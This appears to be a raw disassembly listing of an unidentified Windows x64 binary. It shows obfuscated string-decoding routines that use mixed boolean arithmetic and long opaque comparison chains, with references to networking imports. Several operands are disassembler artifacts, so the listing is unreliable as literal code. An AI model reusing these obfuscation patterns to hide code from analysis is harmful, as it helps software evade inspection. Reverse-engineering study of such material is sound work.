add al, al
sub cl, al
lea r14d, [r8 + rcx]
sub r14b, 0x34
mov qword [rbp - 0x68], r14
jmp 0x140133a37
lea rdx, [rbp + 0x16f1180]
jmp 0x1401345de
lea rdx, [rbp + 0x68a4e4]
jmp 0x1401345de
lea rdx, [rbp + 0xa50]
xorps xmm0, xmm0
movups xmmword [rbp + 0x2e0], xmm0
xor eax, eax
mov qword [rbp + 0x2f0], rax
mov qword [rbp + 0x2f8], rax
or r8, 0xffffffffffffffff
inc r8
cmp word [rdx + r8*2], ax
jne 0x1401345fc
lea rcx, [rbp + 0x2e0]
call fcn.140088c10
lea rax, [rbp + 0x2e0]
mov qword [rsp + 0x58], rax
xor edx, edx
mov r8d, 0x108
lea rcx, [rbp + 0x1530]
call sub.VCRUNTIME140.dll_memset
lea rdx, [rbp + 0x2e0]
cmp qword [rbp + 0x2f8], 7
cmova rdx, qword [rbp + 0x2e0]
mov dword [rsp + 0x20], r15d
mov r14d, 0x40
mov r9d, r14d
mov r8d, r12d
lea rcx, [rbp + 0x1530]
call fcn.1400ca2f0
nop
lea rcx, [rbp + 0x1530]
call fcn.1401aa1b8
nop
lea rcx, [rbp + 0x1530]
call fcn.14008b580
nop
lea rcx, [rbp + 0x2e0]
call fcn.140091e30
mov byte [rbp + 0x800], 0xcb
mov byte [rbp + 0x801], Ordinal_143
mov byte [rbp + 0x802], 0xac
mov byte [rbp + 0x803], 0xf3
mov byte [rbp + 0x804], Ordinal_79
mov byte [rbp + 0x805], 0xf1
mov byte [rbp + 0x806], WSACleanup
mov byte [rbp + 0x807], 0xf7
mov byte [rbp + 0x808], 0x55
mov byte [rbp + 0x809], 0xf5
mov byte [rbp + 0x80a], 0xa2
mov byte [rbp + 0x80b], 0xfb
mov byte [rbp + 0x80c], 0x66
mov byte [rbp + 0x80d], 0xf9
mov byte [rbp + 0x80e], 0x55
mov byte [rbp + 0x80f], 0xff
mov byte [rbp + 0x810], 0x59
mov byte [rbp + 0x811], 0xfd
mov byte [rbp + 0x812], WSACleanup
mov byte [rbp + 0x813], 0xe3
mov byte [rbp + 0x814], 0x47
mov byte [rbp + 0x815], 0xe1
mov byte [rbp + 0x816], Ordinal_79
mov byte [rbp + 0x817], 0xe7
mov byte [rbp + 0x818], reloc.WLDAP32.dll_Ordinal_79
mov byte [rbp + 0x819], 0xe5
mov byte [rbp + 0x81a], 0x42
mov byte [rbp + 0x81b], 0xeb
mov byte [rbp + 0x81c], reloc.WLDAP32.dll_Ordinal_79
mov byte [rbp + 0x81d], 0xe9
mov byte [rbp + 0x81e], r14b
mov byte [rbp + 0x81f], 0xef
mov byte [rbp + 0x820], 0xb8
mov byte [rbp + 0x821], 0xed
mov byte [rbp + 0x822], 0x87
mov byte [rbp + 0x823], reloc.WLDAP32.dll_Ordinal_211
mov byte [rbp + 0x824], 0x44
mov byte [rbp + 0x825], Ordinal_211
mov byte [rbp + 0x826], r14b
mov byte [rbp + 0x827], Ordinal_217
mov byte [rbp + 0x828], 0x81
mov byte [rbp + 0x829], Ordinal_217
mov byte [rbp + 0x82a], 0x7e
mov byte [rbp + 0x82b], 0xdb
mov byte [rbp + 0x82c], 0x7c
mov byte [rbp + 0x82d], reloc.WLDAP32.dll_Ordinal_217
mov byte [rbp + 0x82e], WSACleanup
mov byte [rbp + 0x82f], 0xdf
mov byte [rbp + 0x830], Ordinal_143
mov byte [rbp + 0x831], 0xdd
mov byte [rbp + 0x832], 0x64
mov byte [rbp + 0x833], Ordinal_200
mov byte [rbp + 0x834], WSAGetLastError
mov byte [rbp + 0x835], 0xc1
mov byte [rbp + 0x836], 0x54
mov byte [rbp + 0x837], Ordinal_200
mov byte [rbp + 0x838], Ordinal_200
mov byte [rbp + 0x839], Ordinal_200
xor eax, eax
mov dword [rbp + 0x83a], eax
mov word [rbp + 0x83e], ax
call fcn.1401abe8c
mov rbx, qword [rax]
call fcn.1401abe94
mov r10, qword [rax]
xor eax, eax
mov r9d, eax
cmp r9, r14
jae 0x140135477
movzx r8d, byte [rbp + r9 + 0x800]
mov r11, r8
cmp rbx, r9
ja 0x14013546e
lea rax, [r10 + 1]
cmp rbx, rax
jae 0x140134894
movabs rcx, 0xda32561d88143dbe
add rcx, r9
mov rax, rcx
and rax, r8
imul r13, rax, 0xfffffffffffffffe
add r13, rcx
add r13, r8
sub r13b, 0x32
jmp 0x140134b43
je 0x1401353cf
lea rax, [r10 + 2]
cmp rbx, rax
je 0x140135374
lea rax, [r10 + 3]
cmp rbx, rax
je 0x14013531d
lea rax, [r10 + 6]
cmp rbx, rax
je 0x1401352f2
lea rax, [r10 + 8]
cmp rbx, rax
je 0x1401352a6
cmp r10, r9
ja 0x140135465
lea rax, [r10 + 4]
cmp rbx, rax
jae 0x140134903
movabs rcx, 0xe621106c29a91096
add rcx, r9
mov al, cl
and al, r8b
add al, al
sub cl, al
lea r13d, [r8 + rcx]
sub r13b, 0x1a
jmp 0x140134b17
lea rax, [r10 + 1]
cmp rbx, rax
je 0x140135286
lea rax, [r10 + 2]
cmp rbx, rax
je 0x140135263
lea rax, [r10 + 5]
cmp rbx, rax
je 0x140135232
lea rax, [r10 + 3]
cmp rbx, rax
je 0x14013521e
lea rax, [r10 + rbx]
cmp rax, r9
jbe 0x140134e4d
lea rax, [r10 + 0xa]
cmp rbx, rax
je 0x140134e2a
lea rax, [r10 + 0x200]
cmp rbx, rax
je 0x140134e16
lea rax, [r10 + 0x2a]
cmp rbx, rax
je 0x140134df3
lea rax, [r10 + 9]
cmp rbx, rax
je 0x140134ddf
lea rax, [r10 + 8]
cmp rbx, rax
je 0x140134dbc
lea rax, [r10 + 0x64]
cmp rbx, rax
je 0x140134d99
lea rax, [r10 + 0x41]
cmp rbx, rax
je 0x140134d71
lea rax, [r10 + 0x7a]
cmp rbx, rax
je 0x140134d4e
lea rax, [r10 + 5]
cmp rbx, rax
je 0x140134d3a
lea rax, [r10 + 0x40]
cmp rbx, rax
je 0x140134944
lea rbx, [r10 + 0x200]
lea r10, [rbx + 0x28]
lea rax, [r10 + 0x80]
cmp rbx, rax
jb 0x140135439
lea rax, [r10 + 0x5a]
cmp rbx, rax
jb 0x14013540d
lea rax, [r10 + 8]
cmp rbx, rax
jb 0x140134b4c
lea rax, [r10 + 6]
cmp rbx, rax
jb 0x140134b20
lea rax, [r10 + 0x42]
cmp rbx, rax
jb 0x140134af9
lea rax, [r10 + 0x7a]
cmp rbx, rax
jb 0x140134d12
lea rax, [r10 + 5]
cmp rbx, rax
jb 0x140134cfe
lea rax, [r10 + 4]
cmp rbx, rax
jb 0x140134cdb
lea rax, [r10 + 0x28]
cmp rbx, rax
jb 0x140134ca7
lea rax, [r10 + 0x1000]
cmp rbx, rax
jb 0x140134944
lea rbx, [r10 + 0x64]
lea r10, [rbx + 0x400]
lea rax, [r10 + 0x41]
cmp rbx, rax
ja 0x140134c7f
lea rax, [r10 + 6]
cmp rbx, rax
ja 0x140134c5c
lea rax, [r10 + 0x42]
cmp rbx, rax
ja 0x140134c39
lea rax, [r10 + 0x40]
cmp rbx, rax
ja 0x140134c11
lea rax, [r10 + 0x61]
cmp rbx, rax
ja 0x140134bef
lea rax, [r10 + 4]
cmp rbx, rax
ja 0x140134bcd
lea rax, [r10 + 3]
cmp rbx, rax
ja 0x140134baa
lea rax, [r10 + 0x20]
cmp rbx, rax
ja 0x140134b87
lea rax, [r10 + 0x400]
cmp rbx, rax
ja 0x140134b73
lea rax, [r10 + 2]
cmp rbx, rax
ja 0x140134944
lea rbx, [r10 + 0x7a]
lea r10, [rbx + 1]
jmp 0x140134944
movabs rcx, 0x7954c208e2fd862a
add rcx, r9
mov al, cl
and al, r8b
add al, al
sub cl, al
lea r13d, [r8 + rcx]
sub r13b, 0x26
mov qword [rbp - 0x58], r13
jmp 0x140134937
movabs rdx, 0xc4f015cdd2d50aae
add rdx, r9
mov al, dl
and al, r8b
mov ecx, Ordinal_32
sub cl, al
lea r13d, [rcx + rcx]
add r13b, dl
add r13b, r8b
mov qword [rbp - 0x58], r13
jmp 0x1401348ce
movabs rcx, 0x108b6992c2ac8f32
add rcx, r9
mov al, cl
and al, r8b
add al, al
sub cl, al
lea r13d, [r8 + rcx]
sub r13b, 0x5e
mov qword [rbp - 0x58], r13
jmp 0x140134859
movabs rdx, 0x310883614d4884b0
mov ecx, Ordinal_27
jmp 0x1401352b5
movabs rcx, 0x7ca3d7263d200934
add rcx, r9
mov al, cl
and al, r8b
add al, al
sub cl, al
lea r13d, [r8 + rcx]
sub r13b, 0x6c
jmp 0x1401352ed
movabs rcx, 0xc83f2aeb2cf78db8
add rcx, r9
mov al, cl
and al, r8b
add al, al
sub cl, al
lea r13d, [r8 + rcx]
sub r13b, 8
jmp 0x140135315
movabs rdx, 0x13da7eb01ccf123c
mov ecx, reloc.WLDAP32.dll_Ordinal_46
add rdx, r9
mov al, dl
and al, r8b
sub cl, al
lea r13d, [rcx + rcx]
jmp 0x1401351be
movabs rcx, 0x5f75d2750ca696c0
add rcx, r9
mov al, cl
and al, r8b
add al, al
sub cl, al
lea r13d, [r8 + rcx]
sub r13b, r14b
jmp 0x1401351ef
movabs rdx, 0xab112639fc7e1b44
add rdx, r9
mov al, dl
and al, r8b
mov ecx, reloc.WS2_32.dll_select
sub cl, al
lea r13d, [rcx + rcx]
add r13b, dl
add r13b, r8b
jmp 0x140135250
movabs rcx, 0xf6ac79feec559fc8
add rcx, r9
mov al, cl
and al, r8b
add al, al
sub cl, al
lea r13d, [r8 + rcx]
sub r13b, 0x78
jmp 0x14013533e
movabs rcx, 0x4247cdc3dc2d244c
add rcx, r9
mov al, cl
and al, r8b
add al, al
sub cl, al
lea r13d, [r8 + rcx]
sub r13b, 0x14
jmp 0x14013539a
movabs rdx, 0x8de32188cc04a8d0
mov ecx, Ordinal_41
add rdx, r9
mov al, dl
and al, r8b
sub cl, al
lea r13d, [rcx + rcx]
add r13b, dl
add r13b, r8b
jmp 0x1401353f2
movabs rdx, 0x4ae772f5239f741a
add rdx, r9
mov al, dl
and al, r8b
mov ecx, Ordinal_41
sub cl, al
lea r13d, [rcx + rcx]
add r13b, dl
add r13b, r8b
mov qword [rbp - 0x58], r13
mov byte [rbp + r9 + 0x800], r13b
jmp 0x140135405
movabs rcx, 0x9682c6ba1376f89e
add rcx, r9
mov al, cl
and al, r8b
add al, al
sub cl, al
lea r13d, [r8 + rcx]
sub r13b, 0x52
jmp 0x140134ef5
movabs rdx, 0xe21e1a7f034e7d22
mov ecx, 9
jmp 0x140134ea6
movabs rdx, 0x2db96e43f32601a6
add rdx, r9
mov al, dl
and al, r8b
mov ecx, Ordinal_60
sub cl, al
lea r13d, [rcx + rcx]
add r13b, dl
add r13b, r8b
jmp 0x140134e78
movabs rdx, 0x64c66288f9f66384
mov ecx, reloc.WLDAP32.dll_Ordinal_50
jmp 0x140134c8e
movabs rcx, 0xb061b64de9cde808
add rcx, r9
mov al, cl
and al, r8b
add al, al
sub cl, al
lea r13d, [r8 + rcx]
sub r13b, 0x38
jmp 0x14013539a
movabs rdx, 0xfbfd0a12d9a56c8c
mov ecx, reloc.WLDAP32.dll_Ordinal_22
add rdx, r9
mov al, dl
and al, r8b
sub cl, al
lea r13d, [rcx + rcx]
add r13b, dl
add r13b, r8b
jmp 0x14013533e
movabs rcx, 0x47985dd7c97cf110
add rcx, r9
mov al, cl
and al, r8b
add al, al
sub cl, al
lea r13d, [r8 + rcx]
sub r13b, 0x70
jmp 0x140135250
movabs rcx, 0x9333b19cb9547594
add rcx, r9
mov al, cl
and al, r8b
add al, al
sub cl, al
lea r13d, [r8 + rcx]
sub r13b, 0xc
jmp 0x1401351ef
movabs rdx, 0xdecf0561a92bfa18
mov ecx, Ordinal_46
jmp 0x140134bdc
movabs rcx, 0x2a6a592699037e9c
add rcx, r9
mov al, cl
and al, r8b
add al, al
sub cl, al
lea r13d, [r8 + rcx]
sub r13b, 0x44
jmp 0x140135315
movabs rdx, 0x7605aceb88db0320
mov ecx, reloc.WS2_32.dll_recv
jmp 0x140134fef
movabs rcx, 0xc1a100b078b287a4
add rcx, r9
mov al, cl
and al, r8b
add al, al
sub cl, al
lea r13d, [r8 + rcx]
sub r13b, 0x7c
jmp 0x1401352c9
lea rax, [r10 + 8]
cmp rbx, rax
jae 0x140134f2f
movabs rcx, 0xda32561d88143dbe
add rcx, r9
mov al, cl
and al, r8b
add al, al
sub cl, al
lea r13d, [r8 + rcx]
sub r13b, 0x32
mov qword [rbp - 0x58], r13
lea rax, [r10 + rbx]
cmp rax, 6
je 0x1401351f4
lea rax, [r10 + 0x10]
cmp rbx, rax
jbe 0x140135008
movabs rdx, 0xfdfe85096cd2b646
mov ecx, ntohl
add rdx, r9
mov al, dl
and al, r8b
sub cl, al
lea r13d, [rcx + rcx]
add r13b, dl
add r13b, r8b
mov qword [rbp - 0x58], r13
cmp rbx, r14
jae 0x14013519b
lea rax, [r10 + 0x200]
cmp rbx, rax
jbe 0x1401350d9
movabs rcx, 0xe41f9575967bc6dc
add rcx, r9
mov al, cl
and al, r8b
add al, al
sub cl, al
lea r13d, [r8 + rcx]
sub r13b, 4
mov qword [rbp - 0x58], r13
cmp r10, 0x1000
jb 0x140134cce
movabs rcx, 0xf00e4fc4381099b4
add rcx, r9
mov al, cl
and al, r8b
mov edx, 0xa
sub dl, al
add dl, dl
add dl, cl
add dl, r8b
lea r13d, [rdx + rdx]
jmp 0x1401352c9
lea rax, [r10 + 1]
cmp rbx, rax
jne 0x140134f5b
movabs rcx, 0xcc4220d85352212c
add rcx, r9
mov al, cl
and al, r8b
add al, al
sub cl, al
lea r13d, [r8 + rcx]
sub r13b, 0x34
jmp 0x1401353f2
lea rax, [r10 + 2]
cmp rbx, rax
jne 0x140134f76
movabs rdx, 0x350b794e73a31824
mov ecx, r12d
jmp 0x140134d80
lea rax, [r10 + 3]
cmp rbx, rax
jne 0x140134fa7
movabs rdx, 0x9dd4d1c493f40f1c
mov ecx, reloc.WLDAP32.dll_Ordinal_30
add rdx, r9
mov al, dl
and al, r8b
sub cl, al
lea r13d, [rcx + rcx]
add r13b, dl
add r13b, r8b
jmp 0x1401351ef
lea rax, [r10 + 4]
cmp rbx, rax
jne 0x140134fd3
movabs rcx, 0x52397dffa41c8a98
add rcx, r9
mov al, cl
and al, r8b
add al, al
sub cl, al
lea r13d, [r8 + rcx]
sub r13b, 0x28
jmp 0x1401351c4
lea rax, [r10 + 5]
cmp rbx, rax
jne 0x140134e7c
movabs rdx, 0xbb02d675c46d8190
mov ecx, 8
add rdx, r9
mov al, dl
and al, r8b
sub cl, al
lea r13d, [rcx + rcx]
add r13b, dl
add r13b, r8b
jmp 0x1401352ed
lea rax, [r10 + 1]
cmp rbx, rax
jne 0x140135034
movabs rcx, 0xb26331447cfb31c2
add rcx, r9
mov al, cl
and al, r8b
add al, al
sub cl, al
lea r13d, [r8 + rcx]
sub r13b, 0x4e
jmp 0x1401352c9
lea rax, [r10 + 3]
cmp rbx, rax
jne 0x140135060
movabs rcx, 0xcf9135f5ad74a436
add rcx, r9
mov al, cl
and al, r8b
add al, al
sub cl, al
lea r13d, [r8 + rcx]
sub r13b, 0x7a
jmp 0x1401351c4
lea rax, [r10 + 4]
cmp rbx, rax
jne 0x14013507d
movabs rdx, 0x83f5e230bd9d1fb2
mov ecx, reloc.WS2_32.dll_recvfrom
jmp 0x140134f8e
lea rax, [r10 + 5]
cmp rbx, rax
jne 0x1401350a9
movabs rcx, 0x385a8e6bcdc59b2e
add rcx, r9
mov al, cl
and al, r8b
add al, al
sub cl, al
lea r13d, [r8 + rcx]
sub r13b, 0x42
jmp 0x140135250
lea rax, [r10 + 6]
cmp rbx, rax
jne 0x140134ebe
movabs rcx, 0x5588931cfe3f0da2
add rcx, r9
mov al, cl
and al, r8b
add al, al
sub cl, al
lea r13d, [r8 + rcx]
sub r13b, 0x6e
jmp 0x1401353f2
lea rax, [r10 + 1]
cmp rbx, rax
jne 0x140135105
movabs rcx, 0x988441b0a6a44258
add rcx, r9
mov al, cl
and al, r8b
add al, al
sub cl, al
lea r13d, [r8 + rcx]
sub r13b, 0x68
jmp 0x1401353f2
lea rax, [r10 + 3]
cmp rbx, rax
jne 0x140135131
movabs rcx, 0x14d9a26c6f53950
add rcx, r9
mov al, cl
and al, r8b
add al, al
sub cl, al
lea r13d, [r8 + rcx]
sub r13b, 0x30
jmp 0x14013533e
lea rax, [r10 + 2]
cmp rbx, rax
jne 0x14013514e
movabs rdx, 0x6a16f29ce7463048
mov ecx, 4
jmp 0x140134f8e
lea rax, [r10 + 7]
cmp rbx, rax
jne 0x14013516b
movabs rdx, 0xd2e04b1307972740
mov ecx, reloc.WLDAP32.dll_Ordinal_32
jmp 0x140135301
lea rax, [r10 + 5]
cmp rbx, rax
jne 0x140134ef9
movabs rcx, 0x8744f74e17bfa2bc
add rcx, r9
mov al, cl
and al, r8b
add al, al
sub cl, al
lea r13d, [r8 + rcx]
sub r13b, 0x24
jmp 0x1401352ed
movabs rdx, 0xa472fbff48391530
add rdx, r9
mov al, dl
and al, r8b
add al, al
mov r13b, byte [rbp + r9 + 0x800]
sub r13b, al
sub r13b, 0x50
add r13b, dl
add r13b, r8b
movabs rdx, 0x7ea5521cd04d52ee
add rdx, r9
mov al, r8b
and al, dl
mov ecx, 0x3f
sub cl, al
add cl, cl
add cl, r8b
add cl, dl
add cl, r13b
mov byte [rbp + r9 + 0x800], cl
add rbx, r10
jmp 0x140135250
movabs rdx, 0x58d7a83a586190ac
add rdx, r9
mov al, dl
and al, r8b
mov ecx, Ordinal_41
sub cl, al
lea r13d, [rcx + rcx]
sub r13b, byte [rbp + r9 + 0x800]
jmp 0x140134d8e
movabs rdx, 0xd4e1c6099ac470fa
mov ecx, reloc.WS2_32.dll_setsockopt
jmp 0x140134d80
movabs rcx, 0x207d19ce8a9bf57e
add rcx, r9
mov al, cl
and al, r8b
add al, al
sub cl, al
lea r13d, [r8 + rcx]
sub r13b, 0x72
movzx eax, r13b
or rcx, 0xffffffffffffffff
sub rcx, rax
add r9, rcx
jmp 0x140135401
movabs rcx, 0x34f151d5a22830a
add rcx, r9
mov al, cl
and al, r8b
add al, al
sub cl, al
lea r13d, [r8 + rcx]
sub r13b, 0x46
jmp 0x140135315
movabs rcx, 0x9a85bca739d18c12
add rcx, r9
mov al, cl
and al, r8b
add al, al
sub cl, al
lea r13d, [r8 + rcx]
sub r13b, 0x7e
jmp 0x1401352c9
movabs rdx, 0x31bc64311980951a
mov ecx, Ordinal_41
add rdx, r9
mov al, dl
and al, r8b
sub cl, al
lea r13d, [rcx + rcx]
add r13b, dl
add r13b, r8b
movabs rcx, 0xca40a5e1c024d772
add rcx, r9
mov al, cl
and al, r8b
add al, al
sub cl, al
sub cl, 0x1e
add cl, r8b
mov byte [rbp + r9 + 0x800], cl
add r10, r15
jmp 0x140135315
movabs rdx, 0xc8f30bbaf92f9e22
mov ecx, 9
add rdx, r9
mov al, dl
and al, r8b
sub cl, al
lea r13d, [rcx + rcx]
add r13b, dl
add r13b, r8b
sub r9, r15
jmp 0x140135401
mov r8, r11
movabs rcx, 0xf7605aceb88db032
add rcx, r9
mov al, cl
and al, r11b
add al, al
sub cl, al
lea r13d, [r11 + rcx]
sub r13b, 0x5e
movabs rdx, 0x3309fe57e075ce6a
add rdx, r9
mov al, r8b
and al, dl
mov ecx, reloc.WS2_32.dll_listen
sub cl, al
add cl, cl
add cl, r8b
add cl, dl
movzx eax, cl
mov byte [rbp + r9 + 0x800], al
add r10, r15
add rax, r10
sub r9, rax
jmp 0x14013539a
movabs rdx, 0x42fbae93a86534b6
add rdx, r9
mov al, r11b
and al, dl
mov ecx, 3
sub cl, al
lea r13d, [rcx + rcx]
add r13b, dl
add r13b, r11b
mov r8b, r11b
movabs rcx, 0xd3c5475688a0c28
add rcx, r9
mov al, r8b
and al, cl
add al, al
sub r8b, al
sub r8b, 0x18
add r8b, cl
mov byte [rbp + r9 + 0x800], r8b
add rbx, r15
or rax, 0xffffffffffffffff
sub rax, rbx
add r9, rax
jmp 0x1401353f2
movabs rdx, 0x8e970258983cb93a
add rdx, r9
mov al, r11b
and al, dl
mov ecx, gethostname
sub cl, al
lea r13d, [rcx + rcx]
add r13b, r11b
add r13b, dl
movzx eax, byte [rbp + r9 + 0x800]
add rax, r10
add r9, rax
mov qword [rbp - 0x58], r13
add r9, r15
jmp 0x140134847
movabs rdx, 0x5c26bd57b28413b6
add rdx, r9
mov al, dl
and al, r8b
mov ecx, 3
sub cl, al
lea r13d, [rcx + rcx]
add r13b, dl
add r13b, r8b
mov qword [rbp - 0x58], r13
jmp 0x140134842
movabs rdx, 0xa7c2111ca25b983a
add rdx, r9
mov al, dl
and al, r8b
mov ecx, gethostname
sub cl, al
lea r13d, [rcx + rcx]
add r13b, dl
add r13b, r8b
mov qword [rbp - 0x58], r13
jmp 0x140134832
lea rdx, [rbp + 0x15983a8]
jmp 0x14013547e
lea rdx, [rbp + 0x16dc166]
jmp 0x14013547e
lea rdx, [rbp + 0x800]
lea rcx, [rbp + 0x300]
call fcn.1400ca428
mov rbx, rax
mov qword [rsp + 0x58], rax
xor edx, edx
mov r8d, 0x108
lea rcx, [rbp + 0x1640]
call sub.VCRUNTIME140.dll_memset
mov rdx, rbx
cmp qword [rbx + 0x18], 7
jbe 0x1401354b3
mov rdx, qword [rbx]
mov dword [rsp + 0x20], r15d
mov r9d, r14d
mov r8d, r12d
lea rcx, [rbp + 0x1640]
call fcn.1400ca2f0
nop
lea rcx, [rbp + 0x1640]
call fcn.1401aa1b8
nop
lea rcx, [rbp + 0x1640]
call fcn.14008b580
nop
mov rcx, rbx
call fcn.140091e30
mov byte [rbp + 0xcd0], 0xe3
mov byte [rbp + 0xcd1], 0xad
mov byte [rbp + 0xcd2], 0xec
mov byte [rbp + 0xcd3], 0xab
mov byte [rbp + recvd4], 0xc
mov byte [rbp + 0xcd5], 0xa9
mov byte [rbp + 0xcd6], reloc.WLDAP32.dll_Ordinal_45
mov byte [rbp + 0xcd7], reloc.WS2_32.dll___WSAFDIsSet
mov byte [rbp + 0xcd8], 0x3d
mov byte [rbp + 0xcd9], __WSAFDIsSet
xor eax, eax
mov byte [rbp + 0xcda], al
mov byte [rbp + 0xcdb], __WSAFDIsSet
mov byte [rbp + 0xcdc], reloc.WLDAP32.dll_Ordinal_60
mov byte [rbp + 0xcdd], __WSAFDIsSet
mov byte [rbp + 0xcde], reloc.WS2_32.dll_listen
mov byte [rbp + 0xcdf], 0x9f
mov byte [rbp + 0xce0], 7
mov byte [rbp + 0xce1], 0x9d
mov byte [rbp + 0xce2], 5
mov byte [rbp + 0xce3], 0x9b
mov byte [rbp + 0xce4], reloc.WLDAP32.dll_Ordinal_60
mov byte [rbp + 0xce5], 0x99
mov byte [rbp + 0xce6], Ordinal_46
mov byte [rbp + 0xce7], 0x87
mov byte [rbp + 0xce8], reloc.WLDAP32.dll_Ordinal_22
mov byte [rbp + 0xce9], 0x85
mov byte [rbp + 0xcea], Ordinal_217
mov byte [rbp + 0xceb], 0x83
mov byte [rbp + 0xcec], 0x3d
mov byte [rbp + 0xced], 0x81
mov byte [rbp + 0xcee], Ordinal_50
mov byte [rbp + 0xcef], reloc.WLDAP32.dll_Ordinal_143
mov byte [rbp + 0xcf0], Ordinal_46
mov byte [rbp + 0xcf1], Ordinal_143
mov byte [rbp + 0xcf2], reloc.WS2_32.dll_recvfrom
mov byte [rbp + 0xcf3], Ordinal_143
mov byte [rbp + 0xcf4], reloc.WLDAP32.dll_Ordinal_33
mov byte [rbp + 0xcf5], Ordinal_143
mov byte [rbp + 0xcf6], 0x64
mov byte [rbp + 0xcf7], 0xf7
mov byte [rbp + 0xcf8], 0x5c
mov byte [rbp + 0xcf9], 0xf5
mov byte [rbp + 0xcfa], 0x62
mov byte [rbp + 0xcfb], 0xf3
mov byte [rbp + 0xcfc], 0xaa
mov byte [rbp + 0xcfd], 0xf1
mov byte [rbp + 0xcfe], 0xa2
mov byte [rbp + 0xcff], 0xff
mov byte [rbp + 0xd00], 0xae
mov byte [rbp + 0xd01], 0xfd
mov byte [rbp + 0xd02], 0x57
mov byte [rbp + 0xd03], 0xfb
mov byte [rbp + 0xd04], 0x60
mov byte [rbp + 0xd05], 0xf9
mov byte [rbp + 0xd06], Ordinal_79
mov byte [rbp + 0xd07], 0xe7
mov byte [rbp + 0xd08], 0xb6
mov byte [rbp + 0xd09], 0xe5
mov byte [rbp + 0xd0a], 0x77
mov byte [rbp + 0xd0b], 0xe3
mov byte [rbp + 0xd0c], 0x7d
mov byte [rbp + 0xd0d], 0xe1
mov byte [rbp + 0xd0e], 0x47
mov byte [rbp + 0xd0f], 0xef
mov byte [rbp + 0xd10], 0xec
mov byte [rbp + 0xd11], 0xed
xorps xmm0, xmm0
movups xmmword [rbp + 0xd12], xmm0
mov qword [rbp + 0xd22], rax
mov byte [rbp + 0xd2a], al
call fcn.1401abe8c
mov rbx, qword [rax]
call fcn.1401abe94
mov r10, qword [rax]
xor eax, eax
mov r9d, eax
cmp r9, 0x5b
jae 0x14013631c
movzx r8d, byte [rbp + r9 + 0xcd0]
mov r11, r8
cmp rbx, r9
ja 0x140136313
lea rax, [r10 + 1]
cmp rbx, rax
jae 0x140135736
movabs rcx, 0xfa317cbfea226b1a
add rcx, r9
mov rax, rcx
and rax, r8
imul rdi, rax, 0xfffffffffffffffe
add rdi, rcx
add rdi, r8
add dil, 0x4a
jmp 0x1401359b6
je 0x14013627e
lea rax, [r10 + 3]
cmp rbx, rax
je 0x1401361e8
lea rax, [r10 + 4]
cmp rbx, rax
je 0x1401361a8
lea rax, [r10 + 6]
cmp rbx, rax
je 0x14013615d
lea rax, [r10 + 2]
cmp rbx, rax
je 0x14013612c
cmp r10, r9
ja 0x14013630a
lea rax, [r10 + 0x7a]
cmp rbx, rax
jae 0x140135796
movabs rdx, 0x860f3bbe34d2c922
mov ecx, 9
jmp 0x14013597d
lea rax, [r10 + 1]
cmp rbx, rax
je 0x1401360e8
lea rax, [r10 + 3]
cmp rbx, rax
je 0x1401360c8
lea rax, [r10 + 5]
cmp rbx, rax
je 0x1401360a1
lea rax, [r10 + 7]
cmp rbx, rax
je 0x14013607e
lea rax, [r10 + rbx]
cmp rax, r9
jbe 0x140135d5f
lea rax, [r10 + 0x64]
cmp rbx, rax
je 0x140135d3c
lea rax, [r10 + 0x40]
cmp rbx, rax
je 0x140135d14
lea rax, [r10 + 0x20]
cmp rbx, rax
je 0x140135cf0
lea rax, [r10 + 0xa]
cmp rbx, rax
je 0x140135ccd
lea rax, [r10 + 8]
cmp rbx, rax
je 0x140135ca5
lea rax, [r10 + 5]
cmp rbx, rax
je 0x140135c82
lea rax, [r10 + 3]
cmp rbx, rax
je 0x140135c6e
lea rax, [r10 + 1]
cmp rbx, rax
je 0x140135c48
lea rax, [r10 + 0x5a]
cmp rbx, rax
je 0x140135c21
lea rax, [r10 + 0x7a]
cmp rbx, rax
je 0x1401357d7
lea rbx, [r10 + 0x61]
lea r10, [rbx + 0x1000]
lea rax, [r10 + 0x400]
cmp rbx, rax
jb 0x1401362e3
lea rax, [r10 + 0x200]
cmp rbx, rax
jb 0x1401362b8
lea rax, [r10 + 6]
cmp rbx, rax
jb 0x1401359bf
lea rax, [r10 + 4]
cmp rbx, rax
jb 0x140135995
lea rax, [r10 + 2]
cmp rbx, rax
jb 0x14013596e
lea rax, [r10 + 0x2a]
cmp rbx, rax
jb 0x140135bc2
lea rax, [r10 + 0x41]
cmp rbx, rax
jb 0x140135b63
lea rax, [r10 + 0x61]
cmp rbx, rax
jb 0x140135b13
lea rbx, [r10 + 0x80]
lea r10, [rbx + 0x64]
lea rax, [r10 + 0x42]
cmp rbx, rax
ja 0x140135af0
lea rax, [r10 + 0x28]
cmp rbx, rax
ja 0x140135acd
lea rax, [r10 + 0x10]
cmp rbx, rax
ja 0x140135aa5
lea rax, [r10 + 9]
cmp rbx, rax
ja 0x140135a82
lea rax, [r10 + 6]
cmp rbx, rax
ja 0x140135a6e
lea rax, [r10 + 4]
cmp rbx, rax
ja 0x140135a48
lea rax, [r10 + 2]
cmp rbx, rax
ja 0x140135a34
lea rax, [r10 + 0x2a]
cmp rbx, rax
ja 0x140135a10
lea rax, [r10 + 0x41]
cmp rbx, rax
ja 0x1401359ea
lea rax, [r10 + 0x61]
cmp rbx, rax
ja 0x1401357d7
lea rbx, [r10 + 0x1000]
lea r10, [rbx + 0x400]
jmp 0x1401357d7
movabs rdx, 0xd8debc3420b0271e
mov ecx, reloc.WS2_32.dll_socket
add rdx, r9
mov al, dl
and al, r8b
sub cl, al
lea edi, [rcx + rcx]
add dil, dl
add dil, r8b
jmp 0x1401357ca
movabs rdx, 0xe47bc2b44c6b50ea
add rdx, r9
mov al, r8b
and al, dl
add al, al
mov dil, r8b
sub dil, al
sub dil, 0x66
add dil, dl
mov qword [rbp - 0x50], rdi
jmp 0x140135770
movabs rdx, 0xf018c93478267ab6
add rdx, r9
mov al, r8b
and al, dl
mov ecx, 3
sub cl, al
lea edi, [rcx + rcx]
add dil, r8b
add dil, dl
mov qword [rbp - 0x50], rdi
jmp 0x1401356fb
movabs rdx, 0x3079ddf1a6964910
add rdx, r9
mov al, r8b
and al, dl
add al, al
mov r11b, r8b
sub r11b, al
sub r11b, 0x70
add r11b, dl
jmp 0x140136106
movabs rcx, 0x3c16e471d25172dc
add rcx, r9
mov al, r8b
and al, cl
add al, al
sub r8b, al
lea r11d, [rcx + r8]
sub r11b, 4
jmp 0x14013614b
movabs rdx, 0x47b3eaf1fe0c9ca8
mov ecx, 0x34
jmp 0x140135eb6
movabs rdx, 0x5350f17229c7c674
add rdx, r9
mov al, r8b
and al, dl
add al, al
mov r11b, r8b
sub r11b, al
